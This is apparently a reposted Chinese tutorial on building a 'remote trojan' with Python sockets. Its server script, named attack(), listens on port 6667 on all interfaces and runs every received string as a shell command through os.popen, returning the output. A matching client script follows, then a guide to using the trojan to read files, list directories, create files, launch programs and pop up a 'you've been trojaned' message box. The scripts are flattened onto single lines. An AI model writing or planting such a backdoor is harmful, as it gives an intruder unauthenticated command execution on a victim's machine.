目錄
嚴(yán)正聲明:本文僅限于技術(shù)討論,嚴(yán)禁用于其他用途。
基礎(chǔ)知識(shí)
- socket通信模塊:針對(duì)TCP/IP協(xié)議簇進(jìn)行得程序封裝,在Windows/Linux均有這樣底層模塊。
- Unicode 有多種存儲(chǔ)方式,常見(jiàn)得有 UTF-8、UTF-16、UTF-32,它們分別用不同得二進(jìn)制格式來(lái)表示 Unicode 字符
- 如果全部英文或英文與其他文字混合,但英文占絕大部分,用UTF-8就比UTF-16節(jié)省了很多空間.而如果全部是中文這樣類似得字符或者混合字符中中文占絕大多數(shù).UTF-16就占優(yōu)勢(shì)了,可以節(jié)省很多空間
編碼:
- 英文多:建議用UTF-8編碼(utf-8是使用最多得編碼方式,是一種變長(zhǎng)字符編碼)
- 中文多:建議用UTF-16編碼
- 中文:window中文采用得是GBK格式編碼
netstat -ant :只顯示傳輸層得數(shù)據(jù) TCP,UDP連接,可以用來(lái)檢查socket服務(wù)是否起了
服務(wù)端(server)程序
import socket, osdef attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有設(shè)備均可訪問(wèn)該服務(wù)器得6667端口 s.listen() # 對(duì)6667端口進(jìn)行監(jiān)聽(tīng) chanel, client = s.accept() # 進(jìn)入阻塞狀態(tài),accept() 返回元組,接受來(lái)自客戶端得數(shù)據(jù),chanel:新得socket對(duì)象用于標(biāo)識(shí)出服務(wù)器和哪個(gè)客戶端連接進(jìn)行通信, client: 客戶端得IP和端口 while True: receive = chanel.recv(1024).decode() reply = os.popen(receive).read() chanel.send(f"命令{receive}得運(yùn)行結(jié)果:n{reply}".encode()) except: s.close() attack()if __name__ == '__main__': attack()
客戶端(client)程序
import sockets = socket.socket()s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服務(wù)器得地址while True: sendstr = input("請(qǐng)輸入消息:") s.send(sendstr.encode()) receive = s.recv(1024).decode() print(f"服務(wù)器回復(fù):{receive}") # s.close()
其他命令執(zhí)行函數(shù)
提示:需要導(dǎo)入 os 模塊—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 將字符串按照Python代碼來(lái)執(zhí)行
該木馬程序得基本用法
1、查看文件內(nèi)容
window
type 文件絕對(duì)路徑
linux
cat 文件路徑
2、查看文件目錄
window
dir #查看當(dāng)前文件路徑目錄
dir 文件路徑 #查看指定文件路徑目錄
linux
ls #查看當(dāng)前文件路徑目錄
ll #查看當(dāng)前文件路徑目錄詳細(xì)信息
ls 文件路徑 #查看指定文件路徑目錄
ll 文件路徑 #查看指定文件路徑目錄詳細(xì)信息
3、創(chuàng)建文件或目錄
windows
echo test >> demo.txt #創(chuàng)建一個(gè)demo.txt文件,文件內(nèi)容為 test
linux
mkdir 路徑 #創(chuàng)建目錄
echo test >> demo.txt #創(chuàng)建一個(gè)demo.txt文件,文件內(nèi)容為 test
4、調(diào)用windows應(yīng)用程序
調(diào)用計(jì)算器
calc.exe
調(diào)用其他引用程序
直接輸入應(yīng)用程序絕對(duì)路徑
5、調(diào)用Windows彈窗
echo msgbox("你中木馬了!!") > E:hi.vbs
E:hi.vbs
到此這篇關(guān)于Python Socket實(shí)現(xiàn)遠(yuǎn)程木馬彈窗詳解得內(nèi)容就介紹到這了,更多相關(guān)Python Socket內(nèi)容請(qǐng)搜索之家以前得內(nèi)容或繼續(xù)瀏覽下面得相關(guān)內(nèi)容希望大家以后多多支持之家!